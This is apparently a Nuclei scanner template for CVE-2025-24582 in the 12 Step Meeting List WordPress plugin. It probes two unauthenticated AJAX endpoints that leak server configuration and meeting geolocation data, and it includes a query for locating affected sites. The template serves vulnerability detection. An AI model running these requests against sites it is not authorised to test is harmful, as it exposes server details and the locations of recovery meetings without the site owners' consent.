id: CVE-2025-24582

info:
  name: 12 Step Meeting List < 3.16.6 - Unauthenticated Sensitive Information Exposure
  author: pussycat0x
  severity: medium
  description: |
    The 12 Step Meeting List plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.16.5.This makes it possible for unauthenticated attackers to extract sensitive user or configuration data via two AJAX endpoints: tsml_info and tsml_geocodes.
  impact: |
    Attackers can retrieve embedded sensitive data, leading to potential privacy breaches and data exposure.
  remediation: |
    Update to the latest version of Code for Recovery 12 Step Meeting List.
  reference:
    - https://wpscan.com/vulnerability/e67936e3-a56e-40d4-9647-75c71499ee0a/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/43f34d3b-ed55-48d1-9074-b33f166e333e
  metadata:
    verified: true
    max-request: 2
    vendor: code4recovery
    product: 12-step-meeting-list
    framework: wordpress
    publicwww-query: "/plugins/12-step-meeting-list/"
  tags: cve,cve2025,wordpress,wp-plugin,info-disclosure,unauth,vuln,12-step-meeting-list

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=tsml_info"
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=tsml_geocodes"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body_1, "php_version","wp_version","memory_limit")'
          - 'contains_all(body_2, "formatted_address","latitude","longitude")'
        condition: or
# digest: 4a0a00473045022100acca0dfe545ec053479e54804f3550f33c9c05ed8da74232b3a7d5f771f71afb02202a8f56085d7bc3eaf29fd46cff10e8b34ff0a2e5bc722e31ad98f2b8a318a7fd:922c64590222798bb761d5b6d8e72950